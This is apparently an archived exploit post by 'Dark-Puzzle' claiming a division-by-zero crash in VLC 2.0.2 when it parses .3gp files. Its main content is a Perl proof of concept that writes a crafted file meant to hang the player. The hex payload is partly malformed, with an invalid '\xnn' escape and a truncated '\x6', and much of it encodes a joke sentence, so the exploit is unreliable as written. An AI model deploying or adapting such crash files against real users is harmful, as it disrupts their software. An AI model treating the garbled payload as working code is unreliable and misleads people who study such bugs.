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VLC 2.0.2 Division By Zero

VLC 2.0.2 Division By Zero
Posted Aug 2, 2012
Authored by Dark-Puzzle

VLC version 2.0.2 suffers form a division by zero vulnerability when parsing .3gp files.

tags | exploit
SHA-256 | da55a94e432e51e736b1d6f0ce42d24343527d51712743f54b3519ce8df13c19

VLC 2.0.2 Division By Zero

Change Mirror Download
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1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
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0 I'm Dark-Puzzle From Inj3ct0r TEAM 0
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1 dark-puzzle[at]live[at]fr 0
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1 Pentesting/exploit coding/bug research 0
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# Exploit Title: VLC 2.0.2 - .3gp Division By Zero.
# Author: Dark-Puzzle .
# Danger : Medium .
# Category :Local Exploit .
# Version: Latest ; 2.0.2 Twoflower (Previous versions are not tested but Maybe Vulnerable)
# Vendor : www.videolan.org
# Software Link : http://www.videolan.org/vlc/releases/2.0.2.html
# Date: 02 Aug 2012 .
----------------------------------------------------------------------------------------
The division by zero occurs a non-response from all playlist DLLs so you cannot play nothing
until you close VLC through the Task Manager
----------------------------------------------------------------------------------------
PoC :

#!/usr/bin/perl
my $a ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $b ="\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70";
my $c ="\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61 \x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27 \x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65";
my $d ="\x33\x67\x70";


my $file = "darkpuzzle.3gp";

open ($File, ">$file");
print $File $a,$b,$c,$d;
close ($File);

-----------------------------------------------------------------------------------------
* Dark-Puzzle From Datasec Team *
Greetz 2 : M.C.A , Team-Hunter , Jigs@w , All Inj3ct0r team Members , Packetstromsecurity.org
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